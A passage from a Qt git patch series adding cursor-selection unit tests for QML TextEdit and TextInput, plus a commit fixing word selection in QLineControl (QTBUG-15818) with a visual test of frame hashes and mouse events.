QTest::newRow("jumped( )over|words,reversed") + << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 26 << false; + QTest::newRow("(the )|words") + << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true; + QTest::newRow("( dog)|words") + << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true; + QTest::newRow("( jumped )|words") + << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true; + QTest::newRow("th(e qu)ick|words") + << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true; + QTest::newRow("la(zy d)og|words") + << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true; + QTest::newRow("jum(ped ov)er|words") + << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true; + QTest::newRow("()the|words") + << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true; + QTest::newRow("dog()|words") + << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true; + QTest::newRow("jum()ped|words") + << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true; + + QTest::newRow("Hello(,) |words") + << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true; + QTest::newRow("Hello(, )|words") + << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true; + QTest::newRow("Hel(lo, )|words") + << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true; + QTest::newRow("Hel(lo),|words") + << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true; + QTest::newRow("Hello(),|words") + << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true; + QTest::newRow("Hello,()|words") + << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true; + QTest::newRow("Hello,( )|words") + << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false; + QTest::newRow("Hello,( )|words") + << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false; + QTest::newRow("Hello,( world)|words") + << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 7 << 12 << true; + QTest::newRow("Hello,( world!)|words") + << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true; + QTest::newRow("Hello(, world!)|words") + << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true; + QTest::newRow("world(!)|words") + << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true; + QTest::newRow("world!())|words") + << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true; + QTest::newRow("world()!)|words") + << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true; + + QTest::newRow("(,)olleH |words") + << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true; + QTest::newRow("( ,)olleH|words") + << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true; + QTest::newRow("( ,ol)leH|words") + << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true; + QTest::newRow(",(ol)leH,|words") + << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true; + QTest::newRow(",()olleH|words") + << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true; + QTest::newRow("(),olleH|words") + << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true; + QTest::newRow("( ),olleH|words") + << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false; + QTest::newRow("( ),olleH|words,reversed") + << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false; + QTest::newRow("(dlrow ),olleH|words") + << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 6 << true; + QTest::newRow("(!dlrow ),olleH|words") + << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true; + QTest::newRow("(!dlrow ,)olleH|words") + << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true; + QTest::newRow("(!)dlrow|words") + << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true; + QTest::newRow("()!dlrow|words") + << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true; + QTest::newRow("!()dlrow|words") + << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true; +} + +void tst_qdeclarativetextedit::moveCursorSelection() +{ + QFETCH(QString, testStr); + QFETCH(int, cursorPosition); + QFETCH(int, movePosition); + QFETCH(QDeclarativeTextEdit::SelectionMode, mode); + QFETCH(int, selectionStart); + QFETCH(int, selectionEnd); + QFETCH(bool, reversible); + + QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }"; + QDeclarativeComponent textinputComponent(&engine); + textinputComponent.setData(componentStr.toLatin1(), QUrl()); + QDeclarativeTextEdit *texteditObject = qobject_cast(textinputComponent.create()); + QVERIFY(texteditObject != 0); + + texteditObject->setCursorPosition(cursorPosition); + texteditObject->moveCursorSelection(movePosition, mode); + + QCOMPARE(texteditObject->selectionStart(), selectionStart); + QCOMPARE(texteditObject->selectionEnd(), selectionEnd); + + if (reversible) { + texteditObject->setCursorPosition(movePosition); + texteditObject->moveCursorSelection(cursorPosition, mode); + + QCOMPARE(texteditObject->selectionStart(), selectionStart); + QCOMPARE(texteditObject->selectionEnd(), selectionEnd); + } +} + void tst_qdeclarativetextedit::mouseSelection_data() { QTest::addColumn("qmlfile"); diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 160c3b6..1de695e 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -57,6 +57,8 @@ #define SRCDIR "." #endif +Q_DECLARE_METATYPE(QDeclarativeTextInput::SelectionMode) + QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) { // XXX This will be replaced by some clever persistent platform image store. @@ -87,6 +89,8 @@ private slots: void font(); void color(); void selection(); + void moveCursorSelection_data(); + void moveCursorSelection(); void horizontalAlignment_data(); void horizontalAlignment(); @@ -124,7 +128,8 @@ tst_qdeclarativetextinput::tst_qdeclarativetextinput() { standard << "the quick brown fox jumped over the lazy dog" << "It's supercalifragisiticexpialidocious!" - << "Hello, world!"; + << "Hello, world!" + << "!dlrow ,olleH"; colorStrings << "aliceblue" << "antiquewhite" @@ -415,6 +420,162 @@ void tst_qdeclarativetextinput::selection() delete textinputObject; } +void tst_qdeclarativetextinput::moveCursorSelection_data() +{ + QTest::addColumn("testStr"); + QTest::addColumn("cursorPosition"); + QTest::addColumn("movePosition"); + QTest::addColumn("mode"); + QTest::addColumn("selectionStart"); + QTest::addColumn("selectionEnd"); + QTest::addColumn("reversible"); + + QTest::newRow("(t)he|characters") + << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectCharacters << 0 << 1 << true; + QTest::newRow("do(g)|characters") + << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectCharacters << 43 << 44 << true; + QTest::newRow("jum(p)ed|characters") + << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectCharacters << 23 << 24 << true; + QTest::newRow("jumped( )over|characters") + << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectCharacters << 26 << 27 << true; + QTest::newRow("(the )|characters") + << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectCharacters << 0 << 4 << true; + QTest::newRow("( dog)|characters") + << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectCharacters << 40 << 44 << true; + QTest::newRow("( jumped )|characters") + << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectCharacters << 19 << 27 << true; + QTest::newRow("th(e qu)ick|characters") + << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectCharacters << 2 << 6 << true; + QTest::newRow("la(zy d)og|characters") + << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectCharacters << 38 << 42 << true; + QTest::newRow("jum(ped ov)er|characters") + << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectCharacters << 23 << 29 << true; + QTest::newRow("()the|characters") + << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectCharacters << 0 << 0 << true; + QTest::newRow("dog()|characters") + << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectCharacters << 44 << 44 << true; + QTest::newRow("jum()ped|characters") + << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true; + + QTest::newRow("(t)he|words") + << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true; + QTest::newRow("do(g)|words") + << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true; + QTest::newRow("jum(p)ed|words") + << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true; + QTest::newRow("jumped( )over|words") + << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 27 << 27 << false; + QTest::newRow("jumped( )over|words,reversed") + << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 26 << false; + QTest::newRow("(the )|words") + << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 3 << true; + QTest::newRow("( dog)|words") + << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true; + QTest::newRow("( jumped )|words") + << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 20 << 26 << true; + QTest::newRow("th(e qu)ick|words") + << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true; + QTest::newRow("la(zy d)og|words") + << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true; + QTest::newRow("jum(ped ov)er|words") + << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true; + QTest::newRow("()the|words") + << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true; + QTest::newRow("dog()|words") + << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true; + QTest::newRow("jum()ped|words") + << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true; + + QTest::newRow("Hello(,) |words") + << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true; + QTest::newRow("Hello(, )|words") + << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 6 << true; + QTest::newRow("Hel(lo, )|words") + << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true; + QTest::newRow("Hel(lo),|words") + << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true; + QTest::newRow("Hello(),|words") + << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true; + QTest::newRow("Hello,()|words") + << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true; + QTest::newRow("Hello,( )|words") + << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false; + QTest::newRow("Hello,( )|words,reversed") + << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false; + QTest::newRow("Hello,( world)|words") + << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 7 << 12 << true; + QTest::newRow("Hello,( world!)|words") + << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 7 << 13 << true; + QTest::newRow("Hello(, world!)|words") + << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true; + QTest::newRow("world(!)|words") + << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true; + QTest::newRow("world!())|words") + << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true; + QTest::newRow("world()!)|words") + << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true; + + QTest::newRow("(,)olleH |words") + << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true; + QTest::newRow("( ,)olleH|words") + << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true; + QTest::newRow("( ,ol)leH|words") + << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 7 << 13 << true; + QTest::newRow(",(ol)leH,|words") + << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true; + QTest::newRow(",()olleH|words") + << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true; + QTest::newRow("(),olleH|words") + << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true; + QTest::newRow("( ),olleH|words") + << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false; + QTest::newRow("( ),olleH|words,reversed") + << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false; + QTest::newRow("(dlrow ),olleH|words") + << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 6 << true; + QTest::newRow("(!dlrow ),olleH|words") + << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true; + QTest::newRow("(!dlrow ,)olleH|words") + << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true; + QTest::newRow("(!)dlrow|words") + << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true; + QTest::newRow("()!dlrow|words") + << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true; + QTest::newRow("!()dlrow|words") + << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true; +} + +void tst_qdeclarativetextinput::moveCursorSelection() +{ + QFETCH(QString, testStr); + QFETCH(int, cursorPosition); + QFETCH(int, movePosition); + QFETCH(QDeclarativeTextInput::SelectionMode, mode); + QFETCH(int, selectionStart); + QFETCH(int, selectionEnd); + QFETCH(bool, reversible); + + QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }"; + QDeclarativeComponent textinputComponent(&engine); + textinputComponent.setData(componentStr.toLatin1(), QUrl()); + QDeclarativeTextInput *textinputObject = qobject_cast(textinputComponent.create()); + QVERIFY(textinputObject != 0); + + textinputObject->setCursorPosition(cursorPosition); + textinputObject->moveCursorSelection(movePosition, mode); + + QCOMPARE(textinputObject->selectionStart(), selectionStart); + QCOMPARE(textinputObject->selectionEnd(), selectionEnd); + + if (reversible) { + textinputObject->setCursorPosition(movePosition); + textinputObject->moveCursorSelection(cursorPosition, mode); + + QCOMPARE(textinputObject->selectionStart(), selectionStart); + QCOMPARE(textinputObject->selectionEnd(), selectionEnd); + } +} + void tst_qdeclarativetextinput::horizontalAlignment_data() { QTest::addColumn("hAlign"); -- cgit v0.12 From 77cba04c244c47c77af04777de3b3172c309b541 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 10 Jan 2011 15:01:11 +1000 Subject: Fix word selection in QLineControl Word selection occasionally selected the word beforehand as well, in both QLineEdit and TextInput. Visual Test included to verify behavior. Task-number: QTBUG-15818 Reviewed-by: Martin Jones --- src/gui/widgets/qlinecontrol.cpp | 4 +- .../data-X11/qtbug-15818.0.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.1.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.2.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.3.png | Bin 0 -> 647 bytes .../data-X11/qtbug-15818.4.png | Bin 0 -> 647 bytes .../data-X11/qtbug-15818.5.png | Bin 0 -> 625 bytes .../qdeclarativetextinput/data-X11/qtbug-15818.qml | 1039 ++++++++++++++++++++ .../qdeclarativetextinput/qtbug-15818.qml | 13 + 9 files changed, 1054 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp index 5ea9dc4..12607c1 100644 --- a/src/gui/widgets/qlinecontrol.cpp +++ b/src/gui/widgets/qlinecontrol.cpp @@ -541,10 +541,10 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl */ void QLineControl::selectWordAtPos(int cursor) { - int c = m_textLayout.previousCursorPosition(cursor, QTextLayout::SkipWords); + int c = m_textLayout.previousCursorPosition(cursor+1, QTextLayout::SkipWords); moveCursor(c, false); // ## text layout should support end of words. - int end = m_textLayout.nextCursorPosition(cursor, QTextLayout::SkipWords); + int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords); while (end > cursor && m_text[end-1].isSpace()) --end; moveCursor(end, true); diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png new file mode 100644 index 0000000..fb2c90b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png new file mode 100644 index 0000000..fb2c90b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png new file mode 100644 index 0000000..e2231ff Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml new file mode 100644 index 0000000..790dffa --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml @@ -0,0 +1,1039 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "qtbug-15818.0.png" + } + Frame { + msec: 32 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 48 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 64 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 80 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 96 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 112 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 128 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 144 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 160 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 176 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 192 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 208 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 224 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 240 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 256 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 272 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 288 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 304 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 320 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 336 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 352 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 368 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 384 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 400 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 416 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 432 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 448 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 464 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 480 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 496 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 512 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 528 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 544 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 560 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 576 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 592 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 608 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 624 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 640 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 656 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 672 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 688 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 704 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 720 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 736 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 752 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 768 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 784 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 800 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 816 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 832 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 848 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 864 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 880 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 26; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 896 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 912 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 928 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 944 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 960 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 976 + image: "qtbug-15818.1.png" + } + Frame { + msec: 992 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1008 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1024 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1040 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1056 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1072 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1088 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1104 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1120 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1136 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1152 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1168 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1184 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1200 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1216 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1232 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1248 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1264 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1280 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1296 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1312 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1328 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1344 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1360 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1376 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1392 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1408 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1424 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1440 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1456 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1472 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1488 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1504 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1520 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1536 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1552 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1568 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1584 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1600 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1616 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1632 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1648 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1664 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1680 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1696 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1712 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1728 + 